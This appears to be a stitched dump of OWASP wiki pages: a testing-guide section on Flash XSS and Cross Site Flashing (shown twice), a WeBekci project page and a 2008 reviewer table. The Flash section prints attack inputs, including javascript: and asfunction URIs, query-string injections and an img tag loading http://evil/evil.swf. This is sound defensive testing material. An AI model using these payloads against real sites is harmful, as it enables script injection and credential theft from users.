=== Html Injection ===

TextField Objects can render minimal Html by setting:

tf.html = true
tf.htmlText = '<tag>text</tag>'

So if some part of text could be controlled by the tester, an a tag or a img tag could be
injected resulting in modifying the GUI or Xss the browser.

Some Attack Example with A Tag:

* Direct XSS: <a href='javascript:alert(123)' >

* Call AS function: <a href='asfunction:function,arg' >

* Call Swf public functions:
<a href='asfunction:_root.obj.function, arg'>

* Call Native Static AS Function:
<a href='asfunction:System.Security.allowDomain,evilhost' >

Img tag could be used as well:

* <img src='http://evil/evil.swf' >
* <img src='javascript:evilcode//.swf' > (.swf is necessary to bypass flash player internal filter)

Note: since release 124 of Flash player Xss is no more exploitable, but GUI modification could still
be accomplished.

=== Cross Site Flashing ===

Cross Site Flashing (XSF) is a vulnerability which has a similar impact than with Xss.
XSF Occurs when from different domains:
One Movie loads another Movie with loadMovie* functions
or other hacks and has access to the same sandbox or part of it
XSF could also occurs when an HTML page uses JavaScript
to command a Macromedia Flash movie, for example, by calling:

* GetVariable: access to flash public and static object from javascript as a string.
* SetVariable: set a static or public flash object to a new string value from javascript.
* Unexpected Browser to swf communication could result in stealing data from swf application.

It could be perfomed by forcing a flawed swf to load an external evil flash file.

This attack could result in Xss or in the modification of the GUI in order to fool a user to
insert credentials on a fake flash form.

XSF could be used in presence of Flash Html Injection or external swf files when loadMovie*
methods are used.

=== Attacks and Flash Player Version ===

Since May 2007 three new versions of Flash player were released by Adobe.
Every new version restricts some of the attacks previously described.

<pre>
| Attack | asfunction | ExternalInterface | GetURL | Html Injection |
| Player Version |
| v9.0 r47/48 | Yes | Yes | Yes | Yes |
| v9.0 r115 | No | Yes | Yes | Yes |
| v9.0 r124 | No | Yes | Yes | Partially |
</pre>

'''Result Expected:''' 

Cross Site Scripting and Cross Site Flashing are the expected results on a flawed SWF file.

== References ==
'''Whitepapers''' 
* Testing Flash Applications: A new attack vector for XSS and XSFlashing: http://www.owasp.org/images/8/8c/OWASPAppSec2007Milan_TestingFlashApplications.ppt

* Finding Vulnerabilities in Flash Applications: http://www.owasp.org/images/d/d8/OWASP-WASCAppSec2007SanJose_FindingVulnsinFlashApps.ppt

* Adobe Security: http://www.adobe.com/devnet/flashplayer/articles/flash_player9_security_update.html

* Securing SWF Applications: http://www.adobe.com/devnet/flashplayer/articles/secure_swf_apps.html

* The Flash Player Development Center Security Section: http://www.adobe.com/devnet/flashplayer/security.html

* The Flash Player 9.0 Security Whitepaper: http://www.adobe.com/devnet/flashplayer/articles/flash_player_9_security.pdf

'''Tools''' 

* SWFIntruder: https://www.owasp.org/index.php/Category:SWFIntruder

* Decompiler – Flare: http://www.nowrap.de/flare.html

* Compiler – MTASC: <http://www.mtasc.org/>

* Disassembler – Flasm: <http://flasm.sourceforge.net/>

* Swfmill – Convert Swf to XML and vice versa: <http://swfmill.org/>

* Debugger Version of Flash Plugin/Player: <http://www.adobe.com/support/flash/downloads.html

Testing for Cross site flashing (OTG-CLIENT-008)

2008-09-08T13:03:25Z

Wisec: /* Brief Summary */

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==
 
ActionScript is the language, based on ECMAScript, used by Flash application when dealing with
interactive needs.
ActionScript, like every other language, has some implementation pattern which could lead to
security issues.
 
In particular, since Flash application are often embedded in browsers, vulnerabilities like DOM based Cross Site Scripting could be present in flawed Flash applications.
 

== Description of the Issue ==
 
Since the first publication of "Testing Flash Applications" [1], new versions of Flash player
were released in order to mitigate some of the attacks which will be described.
Nevertheless some issue still remains exploitable because it strongly depends on developer unsecure
programming practices.
 

== Gray Box testing and example ==

=== Decompilation ===

Since SWF files are interpreted by a virtual machine embedded in the player itself,
they can be potentially decompiled and analysed.
The most known and free ActionScript 2.0 decompiler is flare.

To decompile a swf file with flare just type:

$ flare hello.swf

it will result in a new file called hello.flr.

Decompilation helps testers in the process of testing because it
moves black box to white box.

There's no free decompiler for ActionScript 3.0 at the moment.

=== Undefined Variables ===

On actionscript 2 entry points are retrieved by looking at every undefined attribute
beloging to _root and _global objects, since Actionscript 2 behaves as every member
belonging to _root or _global objects were instantiable by
url querystring parameters. That means that if an attribute like:

_root.varname

results "undefined" at some point of code flow, it could be overwritten by setting

http://victim/file.swf?varname=value

Example:
<pre>
movieClip 328 __Packages.Locale {

#initclip
if (!_global.Locale) {
var v1 = function (on_load) {
var v5 = new XML();
var v6 = this;
v5.onLoad = function (success) {
if (success) {
trace('Locale loaded xml');
var v3 = this.xliff.file.body.$trans_unit;
var v2 = 0;
while (v2 < v3.length) {
Locale.strings[v3[v2]._resname] = v3[v2].source.__text;
++v2;
}
on_load();
} else {}
};
if (_root.language != undefined) {
Locale.DEFAULT_LANG = _root.language;
}
v5.load(Locale.DEFAULT_LANG + '/player_' +
Locale.DEFAULT_LANG + '.xml');
};

</pre>

Could be attacked by requesting:

http://victim/file.swf?language=http://evil

=== Unsafe Methods ===

When an entry point is identified the data it represents could be used by unsafe methods.
If the data is not filtered/validated using the right regexp it could lead to some security issue.

Unsafe Methods since version r47 are:
<pre>
loadVariables()
loadMovie()
getURL()
loadMovie()
loadMovieNum()
FScrollPane.loadScrollContent()
LoadVars.load
LoadVars.send
XML.load ( 'url' )
LoadVars.load ( 'url' )
Sound.loadSound( 'url' , isStreaming );
NetStream.play( 'url' );

flash.external.ExternalInterface.call(_root.callback)

htmlText
</pre>

=== The Test ===

In order to exploit a vulnerability the swf file should be hosted on the victim host, and
the techniques of reflected Xss must be used.
That is forcing the browser to load a pure swf file directly in the location bar
( by redirection or social engineering) or by loading it through an iframe from an evil page:

<iframe src='http://victim/path/to/file.swf'></iframe>

This is because in this situation the browser will self generate a Html page as if it were hosted
by the victim host.

=== Xss ===

'''GetURL:'''

GetURL Function lets the movie to load a URI into Browser's Window.
So if an undefined variable is used as first argument for getURL:

getURL(_root.URI,'_targetFrame');

This means it's possible to call javascript in the same domain where the movie is hosted by
requesting:
<pre>
http://victim/file.swf?URI=javascript:evilcode

getURL('javascript:evilcode','_self');
</pre>

The same when only some part of getURL is controlled:
<pre>
Dom Injection with Flash javascript injection

getUrl('javascript:function('+_root.arg+'))
</pre>

'''asfunction:'''

"You can use the special asfunction protocol to cause
the link to execute an ActionScript function in a SWF file
instead of opening a URL..." ( Adobe.com )

Until release r48 of Flash player asfunction could be used on every method which has a url
as argument.

This means that a tester could try to inject:

asfunction:getURL,javascript:evilcode

in every unsafe method like:

loadMovie(_root.URL)

by requesting:

http://victim/file.swf?URL=asfunction:getURL,javascript:evilcode

'''ExternalInterface:'''

ExternalInterface.call is a static method introduced by adobe to improve player/browser interaction.

From a security point of view it could be abused when part of its argument could be controlled:

flash.external.ExternalInterface.call(_root.callback);

the attack pattern for this kind of flaw should be something like the following:
eval(evilcode)

since the internal javascript which is executed by the browser will be something similar to:

eval('try { __flash__toXML('+__root.callback+') ; } catch (e) { "<undefined/>"; }')

=== Html Injection ===

TextField Objects can render minimal Html by setting:

tf.html = true
tf.htmlText = '<tag>text</tag>'

So if some part of text could be controlled by the tester, an a tag or a img tag could be
injected resulting in modifying the GUI or Xss the browser.

Some Attack Example with A Tag:

* Direct XSS: <a href='javascript:alert(123)' >

* Call AS function: <a href='asfunction:function,arg' >

* Call Swf public functions:
<a href='asfunction:_root.obj.function, arg'>

* Call Native Static AS Function:
<a href='asfunction:System.Security.allowDomain,evilhost' >

Img tag could be used as well:

* <img src='http://evil/evil.swf' >
* <img src='javascript:evilcode//.swf' > (.swf is necessary to bypass flash player internal filter)

Note: since release 124 of Flash player Xss is no more exploitable, but GUI modification could still
be accomplished.

=== Cross Site Flashing ===

Cross Site Flashing (XSF) is a vulnerability which has a similar impact than with Xss.
XSF Occurs when from different domains:
One Movie loads another Movie with loadMovie* functions
or other hacks and has access to the same sandbox or part of it
XSF could also occurs when an HTML page uses JavaScript
to command a Macromedia Flash movie, for example, by calling:
GetVariable: access to flash public and static object
from javascript as a string.
SetVariable: set a static or public flash object to a new
string value from javascript.
Or other scripting method.
Unexpected Browser to swf communication could result in stealing data from swf application.

It could be perfomed by forcing a flawed swf to load an external evil flash file.

This attack could result in Xss or in the modification of the GUI in order to fool a user to
insert credentials on a fake flash form.

XSF could be used in presence of Flash Html Injection or external swf files when loadMovie*
methods are used.

=== Attacks and Flash Player Version ===

Since May 2007 three new versions of Flash player were released by Adobe.
Every new version restricts some of the attacks previously described.

<pre>
| Attack | asfunction | ExternalInterface | GetURL | Html Injection |
| Player Version |
| v9.0 r47/48 | Yes | Yes | Yes | Yes |
| v9.0 r115 | No | Yes | Yes | Yes |
| v9.0 r124 | No | Yes | Yes | Partially |
</pre>

'''Result Expected:''' 

Cross Site Scripting and Cross Site Flashing are the expected results on a flawed SWF file.

== References ==
'''Whitepapers''' 
* Testing Flash Applications: A new attack vector for XSS and XSFlashing: http://www.owasp.org/images/8/8c/OWASPAppSec2007Milan_TestingFlashApplications.ppt

* Finding Vulnerabilities in Flash Applications: http://www.owasp.org/images/d/d8/OWASP-WASCAppSec2007SanJose_FindingVulnsinFlashApps.ppt

* Adobe Security: http://www.adobe.com/devnet/flashplayer/articles/flash_player9_security_update.html

* Securing SWF Applications: http://www.adobe.com/devnet/flashplayer/articles/secure_swf_apps.html

* The Flash Player Development Center Security Section: http://www.adobe.com/devnet/flashplayer/security.html

* The Flash Player 9.0 Security Whitepaper: http://www.adobe.com/devnet/flashplayer/articles/flash_player_9_security.pdf

'''Tools''' 

* SWFIntruder: https://www.owasp.org/index.php/Category:SWFIntruder

* Decompiler – Flare: http://www.nowrap.de/flare.html

* Compiler – MTASC: <http://www.mtasc.org/>

* Disassembler – Flasm: <http://flasm.sourceforge.net/>

* Swfmill – Convert Swf to XML and vice versa: <http://swfmill.org/>

* Debugger Version of Flash Plugin/Player: <http://www.adobe.com/support/flash/downloads.html

Project Information:Webekci

2008-07-04T16:32:22Z

Wisec:

{| style="width:100%" border="0" align="center"
! colspan="7" align="center" style="background:#4058A0; color:white"|'''PROJECT IDENTIFICATION'''
|-
| style="width:15%; background:#7B8ABD" align="center"|'''Project Name'''
| colspan="6" style="width:85%; background:#cccccc" align="left"|'''WeBekci'''
|-
| style="width:15%; background:#7B8ABD" align="center"| '''Short Project Description'''
| colspan="6" style="width:85%; background:#cccccc" align="left"|WeBekci tries to provide an admin panel that ModSecurity, which is an open source web application firewall that runs as an Apache module, lacks. Web application firewalls (WAF) are gaining importance among the information security technologies designed to protect web sites from attack. WAF solutions prevent attacks that network firewalls and intrusion detection systems can't and they require no modification of application source code. ModSecurity is an embeddable web application firewall and it provides protection from a range of attacks against web applications. It is an open source project available to everyone; it however does not come with an admin panel.
|-
| style="width:15%; background:#7B8ABD" align="center"|'''Email Contacts'''
| style="width:14%; background:#cccccc" align="center"|Project Leader [mailto:bunyamin(at)owasp.org '''Bünyamin Demir''']
| style="width:14%; background:#cccccc" align="center"|Project Contributors [mailto:urgunb(at)hotmail.com '''Bedirhan Urgun'''] [mailto:christophe(at)vandeplas.com '''Christophe Vandeplas'''] [mailto:serrano.neves(at)gmail.com '''Eduardo Jorge''']
| style="width:14%; background:#cccccc" align="center"|[https://lists.owasp.org/mailman/listinfo/owasp-webekci '''Mailing List/subscribe'''] [mailto:Owasp-webekci@lists.owasp.org '''Mailing List/Use''']
| style="width:14%; background:#cccccc" align="center"|First Reviewer [mailto:afry(at)strongcrypto.biz '''Alex Fry'''] [http://www.linkedin.com/in/alexanderfry Profile]
| style="width:14%; background:#cccccc" align="center"|Second Reviewer [mailto:stefano.dipaola(at)@wisec.it '''Stefano Di Paola'''] [[User:Wisec|Profile]]
| style="width:15%; background:#cccccc" align="center"|OWASP Board Member (if applicable) [mailto:name(at)name '''Name&Email''']
|}
{| style="width:100%" border="0" align="center"
! colspan="6" align="center" style="background:#4058A0; color:white"|'''PROJECT MAIN LINKS'''
|-
| style="width:100%; background:#cccccc" align="center"|
* WeBekci is a web based ModSecurity 2.x management tool and written in PHP with it's backend powered by MySQL. It can be found at [http://code.google.com/p/webekci/ WeBekci.]
* (If appropriate, links to be added)
|}
{| style="width:100%" border="0" align="center"
! colspan="6" align="center" style="background:#4058A0; color:white"|'''SPONSORS & GUIDELINES'''
|-
| style="width:50%; background:#cccccc" align="center"|[[OWASP Summer of Code 2008|Sponsor - '''OWASP Summer of Code 2008''']]
| style="width:50%; background:#cccccc" align="center"|[[OWASP Summer of Code 2008 Applications - Need Futher Clarifications#OWASP-WeBekci_Project|'''Sponsored Project/Guidelines/Roadmap''']]
|}
{| style="width:100%" border="0" align="center"
! colspan="5" align="center" style="background:#4058A0; color:white"|ASSESSMENT AND REVIEW PROCESS
|-
| style="width:15%; background:#6C82B5" align="center"|'''Review/Reviewer'''
| style="width:21%; background:#b3b3b3" align="center"|'''Author's Self Evaluation''' (applicable for Alpha Quality & further)
| style="width:21%; background:#b3b3b3" align="center"|'''First Reviewer''' (applicable for Alpha Quality & further)
| style="width:21%; background:#b3b3b3" align="center"|'''Second Reviewer''' (applicable for Beta Quality & further)
| style="width:22%; background:#b3b3b3" align="center"|'''OWASP Board Member''' (applicable just for Release Quality)
|-
| style="width:15%; background:#7B8ABD" align="center"|'''50% Review'''
| style="width:21%; background:#C2C2C2" align="center"|Objectives & Deliveries reached? '''Yes/No''' (To update) --------- [[Project Information:Webekci - 50 Review - Self Evaluation - A|See&Edit: 50% Review/Self-Evaluation (A)]]
| style="width:21%; background:#C2C2C2" align="center"|Objectives & Deliveries reached? '''Yes/No''' (To update) --------- [[Project Information:Webekci - 50 Review - First Reviewer - C|See&Edit: 50% Review/1st Reviewer (C)]]
| style="width:21%; background:#C2C2C2" align="center"|Objectives & Deliveries reached? '''Yes/No''' (To update) --------- [[Project Information:Webekci 50 Review Second Review E|See&Edit: 50%Review/2nd Reviewer (E)]]
| style="width:22%; background:#C2C2C2" align="center"|X
|-
| style="width:15%; background:#7B8ABD" align="center"|'''Final Review'''
| style="width:21%; background:#C2C2C2" align="center"|Objectives & Deliveries reached? '''Yes/No''' (To update) --------- What status has been reached? '''Season of Code''' - (To update) --------- [[Project Information:Webekci - Final Review - Self Evaluation - B|See&Edit: Final Review/SelfEvaluation (B)]]
| style="width:21%; background:#C2C2C2" align="center"|Objectives & Deliveries reached? '''Yes/No''' (To update) --------- What status has been reached? '''Season of Code''' - (To update) --------- [[Project Information:Webekci - Final Review - First Reviewer - D|See&Edit: Final Review/1st Reviewer (D)]]
| style="width:21%; background:#C2C2C2" align="center"|Objectives & Deliveries reached? '''Yes/No''' (To update) --------- What status has been reached? '''Season of Code''' - (To update) --------- [[Project Information:Webekci - Final Review - Second Reviewer - F|See&Edit: Final Review/2nd Reviewer (F)]]
| style="width:22%; background:#C2C2C2" align="center"|Objectives & Deliveries reached? '''Yes/No'''(To update) --------- Which status has been reached? '''Season of Code'''(To update) --------- [[Project Information:Webekci - Final Review - OWASP Board Member - G|See/Edit: Final Review/Board Member (G)]]
|-
|}

OWASP Summer of Code 2008 Projects Authors Status Target and Reviewers

2008-07-04T16:24:59Z

Wisec: /* TOOLS PROJECTS */

This page contains Projects, Authors, Status Target and Reviewers of the sponsored programme [[OWASP Summer of Code 2008]]. 
'''* Please note: The reviewers with the reference ‘Confirmed’ were only confirmed by projects’ authors and are still waiting for OWASP Board confirmation.'''

== DOCUMENTATION PROJECTS ==
{| class="wikitable" style="text-align:center"
! width="600" height="18" bgcolor="#FFFFFF" align="CENTER" valign="MIDDLE" | Application
! width="220" align="CENTER" | '''Author'''
! width="60" align="CENTER" | [[:Category:OWASP Project Assessment|'''Status Target''']]
! width="108" align="CENTER" | '''1st Reviewer'''
! width="108" align="CENTER" | '''2nd Reviewer '''
! width="108" align="CENTER" | '''OWASP Board Reviewer
'''
|-
| height="18" bgcolor="#FFFFFF" align="CENTER" valign="MIDDLE" | '''[[:Category:OWASP Application Security Verification Standard Project|OWASP Application Security Verification Standard]]'''
| align="CENTER" | Mike Boberski
| align="CENTER" | Beta
| align="CENTER" | [mailto:jeff.williams(at)owasp.org Jeff Williams] (Confirmed)
| align="CENTER" | [mailto:pierre.parrend(at)insa-lyon.fr Pierre Parrend] [http://www.rzo.free.fr Curriculum] (Confirmed)
| align="CENTER" | Not applicable
|-
| height="18" bgcolor="#FFFFFF" align="CENTER" valign="MIDDLE" | '''[[:Category:OWASP AppSensor Project|OWASP AppSensor - Detect and Respond to Attacks from Within the Application]]'''
| align="CENTER" | [mailto:michael.coates(at)aspectsecurity.com Michael Coates]
| align="CENTER" | Beta
| align="CENTER" | [mailto:eric.sheridan(at)aspectsecurity.com Eric Sheridan] (Confirmed)
| align="CENTER" | [mailto:thrynn404(at)gmail.com Randy Janinda] (Confirmed)
| align="CENTER" | Not applicable
|-
| height="18" bgcolor="#FFFFFF" align="CENTER" valign="MIDDLE" | '''[[:Category:OWASP Backend Security Project|OWASP Backend Security Project]]'''
| align="CENTER" | Carlo Pelliccioni
| align="CENTER" | Beta
| align="CENTER" | [mailto:kisero(at)gmail.com Esteban Ribičić] [http://docs.google.com/Doc?id=df9vbj96_120fzfj4kfk Curriculum] (Confirmed)
| align="CENTER" | JS (TBC)
| align="CENTER" | Not applicable
|-
| height="18" bgcolor="#FFFFFF" align="CENTER" valign="MIDDLE" | '''[[:Classic ASP Security Project|OWASP Classic ASP Security Project]]'''
| align="CENTER" | Juan Carlos Calderon
| align="CENTER" | Beta
| align="CENTER" | [mailto:kisero(at)gmail.com Esteban Ribičić] [http://docs.google.com/Doc?id=df9vbj96_120fzfj4kfk Curriculum] (Confirmed)
| align="CENTER" | [mailto:andres(at)neurofuzz.com Andres Andreu] (TBC)
| align="CENTER" | Not applicable
|-
| height="18" bgcolor="#FFFFFF" align="CENTER" valign="MIDDLE" | '''[[:Category:OWASP Code Review Project|OWASP Code review guide, V1.1]]'''
| align="CENTER" | Eoin Keary
| align="CENTER" | Quality
| align="CENTER" | [mailto:rahim.jina@ie.ey.com Rahim Jina] [[OWASP Summer of Code 2008 Projects Authors Status Target and Reviewers Rahim Jina Curriculum|Curriculum]] (Confirmed)
| align="CENTER" | [mailto:psatishkumar(at)gmail.com P.Satish Kumar] [https://www.owasp.org/index.php/User:Satishkumar Curriculum] (Confirmed)
| align="CENTER" | Jeff Williams
|-
| height="18" bgcolor="#FFFFFF" align="CENTER" valign="MIDDLE" | '''[[:OWASP Corporate Application Security Rating Guide|OWASP Corporate Application Security Rating Guide]]'''
| align="CENTER" | Parvathy Iyer
| align="CENTER" | Quality
| align="CENTER" | [mailto:nkirschner@eisnerllp.com Neal Kirschner] [[OWASP Summer of Code 2008 Projects Authors Status Target and Reviewers Neal Kirschner Curriculum|Curriculum]] (Confirmed)
| align="CENTER" | [mailto:Omar.Sherin(at)infosec2.com Omar Sherin] TBC
| align="CENTER" |
|-
| height="18" bgcolor="#FFFFFF" align="CENTER" valign="MIDDLE" | '''[[:Category:OWASP Education Project|OWASP Education Project]]'''
| align="CENTER" | Martin Knobloch
| align="CENTER" | Quality
| align="CENTER" | [mailto:sebastien.gioria@owasp.fr Sebastien Gioria] [http://www.linkedin.com/in/gioria Curriculum] (Confirmed)
| align="CENTER" | [mailto:namn(at)bluemoon.com.vn Nam Nguyen] [[OWASP Summer of Code 2008 Projects Authors Status Target and Reviewers Nguyen Curriculum|Curriculum]] (Confirmed)
| align="CENTER" |
|-
| height="18" bgcolor="#FFFFFF" align="CENTER" valign="MIDDLE" | '''[[:OWASP Internationalization|OWASP Internationalization Guidelines Project]]'''
| align="CENTER" | Juan Carlos Calderon
| align="CENTER" | Beta
| align="CENTER" | [mailto:fabio.e.cerullo(at)aib.ie Fabio Cerullo] [https://www.owasp.org/index.php/User:Fabio.e.cerullo Curriculum] (Confirmed)
| align="CENTER" | [mailto:rodrigo(at)rmarcos.com Rodrigo Marcos] [https://www.owasp.org/index.php/User:Rodrigo.marcos Curriculum] (Confirmed)
| align="CENTER" | Not applicable
|-
| height="18" bgcolor="#FFFFFF" align="CENTER" valign="MIDDLE" | '''[[:Category:OWASP .NET Project#OWASP .NET Project Leader|OWASP .NET Project Leader]]'''
| align="CENTER" | Mark Roxberry
| align="CENTER" | Quality
| align="CENTER" | [mailto:eoinkeary(at)gmail.com Eoin Keary] (Confirmed)
| align="CENTER" | [mailto:dennis.hurst(at)hp.com Dennis Hurst] TBC
| align="CENTER" | Dinis Cruz
|-
| height="18" bgcolor="#FFFFFF" align="CENTER" valign="MIDDLE" | '''[[:Category:OWASP Positive Security Project|OWASP Positive Security Project]]'''
| align="CENTER" | Eduardo Vianna de Camargo Neves
| align="CENTER" | Beta
| align="CENTER" | [mailto:welias(at)conviso.com.br Wagner Elias] (Confirmed)
| align="CENTER" | [mailto:ken(at)krvw.com Kenneth Wyk] TBC
| align="CENTER" | Not applicable
|-
| height="18" bgcolor="#FFFFFF" align="CENTER" valign="MIDDLE" | '''[[:Category:OWASP Ruby on Rails Security Guide V2|OWASP Ruby on Rails Security Guide v2]]'''
| align="CENTER" | Heiko Webers
| align="CENTER" | Quality
| align="CENTER" | [mailto:jons0022-at-unf.edu Steve Jones] [https://www.owasp.org/index.php/OWASP_Summer_of_Code_2008_Projects_Authors_Status_Target_and_Reviewers_Steve_Jones_Background Profile] (Confirmed)
| align="CENTER" | [mailto:jeff.cabaniss(at)gmail.com Jeff Cabaniss] (Confirmed)
| align="CENTER" |
|-
| height="18" bgcolor="#FFFFFF" align="CENTER" valign="MIDDLE" | '''[[:Category:OWASP Securing WebGoat using ModSecurity Project|OWASP Securing WebGoat using ModSecurity]]'''
| align="CENTER" | Stephen Evans
| align="CENTER" | Beta
| align="CENTER" | [mailto:ivan.ristic(at)breach.com Ivan Ristic] & Breach Group (Confirmed)
| align="CENTER" | [mailto:christian.folini(at)netnea.com Christian Folini] [http://www.netnea.com/cms/?q=christian_folini Curriculum] (Confirmed)
| align="CENTER" | Not applicable
|-
| height="18" bgcolor="#FFFFFF" align="CENTER" valign="MIDDLE"|'''[[:Category:OWASP Source Code Review OWASP Projects Project|OWASP Source Code Review OWASP Projects]]'''
| align="CENTER" | James Walden
| align="CENTER" | Quality
| align="CENTER" | [mailto:afry(at)strongcrypto.biz Alexander Fry] [http://www.linkedin.com/in/alexanderfry Profile] (Confirmed)
| align="CENTER" | [mailto:marco.m.morana(at)gmail.com Marco M. Morana] [[OWASP Summer of Code 2008 Projects Authors Status Target and Reviewers Marco M Morana Curriculum|Curriculum]] (Confirmed)
| align="CENTER" |
|-
| height="18" bgcolor="#FFFFFF" align="CENTER" valign="MIDDLE" | '''[[:OWASP Spanish|OWASP Spanish Project]]'''
| align="CENTER" | Juan Carlos Calderon
| align="CENTER" | Beta
| align="CENTER" | [mailto:fabio.e.cerullo(at)aib.ie Fabio Cerullo] [https://www.owasp.org/index.php/User:Fabio.e.cerullo Curriculum] (Confirmed)
| align="CENTER" | [mailto:rodrigo(at)rmarcos.com Rodrigo Marcos] [https://www.owasp.org/index.php/User:Rodrigo.marcos Curriculum] (Confirmed)
| align="CENTER" | Not applicable
|-
| height="18" bgcolor="#FFFFFF" align="CENTER" valign="MIDDLE" | '''[[:Category:OWASP Testing Project|OWASP Testing Guide v3]]'''
| align="CENTER" | Matteo Meucci
| align="CENTER" | Quality
| align="CENTER" | [mailto:namn@bluemoon.com.vn Nam Nguyen] [[OWASP Summer of Code 2008 Projects Authors Status Target and Reviewers Nguyen Curriculum|Curriculum]] (Confirmed)
| align="CENTER" | [mailto:KFuller@dmv.ca.gov Kevin Fuller] [[OWASP Summer of Code 2008 Projects Authors Status Target and Reviewers Fuller Curriculum|Curriculum]] (Confirmed)
| align="CENTER" |
|}

{| class="wikitable" style="text-align:center"
! width="400" height="18" bgcolor="#FFFFFF" align="CENTER" valign="MIDDLE" | Application
! width="120" align="CENTER" | '''Author'''
! width="60" align="CENTER" | [[:Category:OWASP Project Assessment|'''Status Target''']]
! width="108" align="CENTER" | '''1st Reviewer'''
! width="108" align="CENTER" | '''2nd Reviewer '''
! width="108" align="CENTER" | '''3rd Reviewer '''
! width="108" align="CENTER" | '''4th Reviewer '''
! width="108" align="CENTER" | '''OWASP Board Reviewer
'''
|-
| height="18" bgcolor="#FFFFFF" align="CENTER" valign="MIDDLE" | '''[[:Category:OWASP ASDR Project|OWASP Application Security Desk Reference (ASDR)]]'''
| align="CENTER" | Leonardo Cavallari Militelli
| align="CENTER" | Quality
| align="CENTER" | [mailto:williamtsmith(at)gmail.com William Smith] [[OWASP SoC 2008 ASDR Reviewers#William Smith | Bio]] (Confirmed)
| align="CENTER" | [mailto:ken(at)krvw.com Kenneth Wyk] [[OWASP SoC 2008 ASDR Reviewers#Kenneth R. van Wyk| Bio]] (Confirmed)
| align="CENTER" | [mailto:kcfredman(at)gmail.com Frederick Donovan] [[OWASP SoC 2008 ASDR Reviewers#Frederick Donovan | Bio]] (Confirmed)
| align="CENTER" | [mailto:Darren.Challey(at)ge.com Darren W. Challey] [[OWASP SoC 2008 ASDR Reviewers#Darren W. Challey | Bio]] (Confirmed)
| align="CENTER" | Jeff Williams (Confirmed)
|}

== TOOLS PROJECTS ==
{| class="wikitable" style="text-align:center"
! width="600" height="18" bgcolor="#FFFFFF" align="CENTER" valign="MIDDLE" | Application
! width="220" align="CENTER" | '''Author'''
! width="60" align="CENTER" | [[:Category:OWASP Project Assessment|'''Status Target''']]
! width="108" align="CENTER" | '''1st Reviewer'''
! width="108" align="CENTER" | '''2nd Reviewer '''
! width="108" align="CENTER" | '''OWASP Board Reviewer
'''
|-
| height="18" bgcolor="#FFFFFF" align="CENTER" valign="MIDDLE" | '''[[:Category:GTK plus GUI for w3af Project|GTK+ GUI for w3af project]]'''
| align="CENTER" | Facundo Batista
| align="CENTER" | Beta
| align="CENTER" | [mailto:andres.riancho(at)gmail.com Andres Riancho] [http://www.linkedin.com/in/ariancho Profile] (Confirmed)
| align="CENTER" | [mailto:ah(at)securenet(dot)de Achim Hoffmann] [https://www.owasp.org/index.php/User:Achim Profile] (Confirmed)
| align="CENTER" | Not applicable
|-
| height="18" bgcolor="#FFFFFF" align="CENTER" valign="MIDDLE" | '''[[:Category:OWASP Access Control Rules Tester Project|OWASP Access Control Rules Tester]]'''
| align="CENTER" | Andrew Petukhov
| align="CENTER" | Beta
| align="CENTER" | [mailto:caughron(at)gmail.com Mat Caughron] [http://www.linkedin.com/pub/1/A84/998 Profile] (Confirmed)
| align="CENTER" | [mailto:mg_chen(at)yahoo.com Min Chen] [http://www.linkedin.com/in/mgchen Profile] (Confirmed)
| align="CENTER" | Not applicable
|-
| height="18" bgcolor="#FFFFFF" align="CENTER" valign="MIDDLE" | '''[[:Category:OWASP AntiSamy Project .NET| OWASP AntiSamy .NET]]'''
| align="CENTER" | Arshan Dabirsiaghi
| align="CENTER" | Quality
| align="CENTER" | [mailto:kisero(at)gmail.com Esteban Ribičić] [http://docs.google.com/Doc?id=df9vbj96_120fzfj4kfk Curriculum] (Confirmed)
| align="CENTER" | [mailto:yiannis(at)owasp.org Yiannis Pavlosoglou] (TBC)
| align="CENTER" | Jeff Williams
|-
| height="18" bgcolor="#FFFFFF" align="CENTER" valign="MIDDLE" | '''[[:Category:OWASP Application Security Tool Benchmarking Environment and Site Generator Refresh Project|OWASP Application Security Tool Benchmarking Environment and Site Generator refresh]]'''
| align="CENTER" | Dmitry Kozlov
| align="CENTER" | Quality
| align="CENTER" | [mailto:mark.roxberry(at)owasp.org Mark Roxberry] [http://www.linkedin.com/in/roxberry Profile] (Confirmed)
| align="CENTER" | [mailto:medelibero(at)gmail.com Mike de Libero] (Confirmed)
| align="CENTER" | Dinis Cruz
|-
| height="18" bgcolor="#FFFFFF" align="CENTER" valign="MIDDLE" | '''[[:Category:OWASP Code Crawler|OWASP Code Crawler ]]'''
| align="CENTER" | Alessio Marziali
| align="CENTER" | Beta
| align="CENTER" | [mailto:eoinkeary@gmail.com Eoin Keary] (Confirmed)
| align="CENTER" | [mailto:dinis.cruz(at)owasp.org Dinis Cruz] (Confirmed)
| align="CENTER" | Not applicable
|-
| height="18" bgcolor="#FFFFFF" align="CENTER" valign="MIDDLE" | '''[[:Category:OWASP Interceptor Project|OWASP Interceptor Project - 2008 Update]]'''
| align="CENTER" | Justin Derry
| align="CENTER" | Quality
| align="CENTER" | [mailto:ngreen16(at)yahoo.com Nathan Green] [https://www.owasp.org/index.php/User:Ngreen16 Profile] (Confirmed)
| align="CENTER" | [mailto:kisero(at)gmail.com Esteban Ribičić] [http://docs.google.com/Doc?id=df9vbj96_120fzfj4kfk Curriculum] (Confirmed)
| align="CENTER" |
|-
| height="18" bgcolor="#FFFFFF" align="CENTER" valign="MIDDLE" | '''[[:Category:OWASP JSP Testing Tool Project|OWASP UI Component Verification Project (a.k.a. OWASP JSP Testing Tool)]]'''
| align="CENTER" | Jason Li
| align="CENTER" | Beta
| align="CENTER" | [mailto:markkerzner(at)gmail.com Mark Kerzner] [http://www.linkedin.com/in/markkerzner Profile] (Confirmed)
| align="CENTER" | [mailto:fabricio.fujikawa(at)infoglobo.com.br Fabrício Fujikawa] (Confirmed)
| align="CENTER" | Not applicable
|-
| height="18" bgcolor="#FFFFFF" align="CENTER" valign="MIDDLE" | '''[[:Category:OWASP Live CD 2008 Project|OWASP Live CD 2008 Project]]'''
| align="CENTER" | Matt Tesauro
| align="CENTER" | Quality
| align="CENTER" | [mailto:admin@wirefall.com Dustin Dykes] [http://www.linkedin.com/pub/1/607/6b1 Curriculum] (Confirmed)
| align="CENTER" | [mailto:jkpoots(at)rogers.com Kent Poots] [http://www.linkedin.com/pub/5/25B/114 Curriculum] (Confirmed)
| align="CENTER" |
|-
| height="18" bgcolor="#FFFFFF" align="CENTER" valign="MIDDLE" | '''[[:Category:OWASP OpenSign Server Project|OWASP Online code signing and integrity verification service for open source community (OpenSign Server)]]'''
| align="CENTER" | Phil Potisk and Richard Conway
| align="CENTER" | Beta
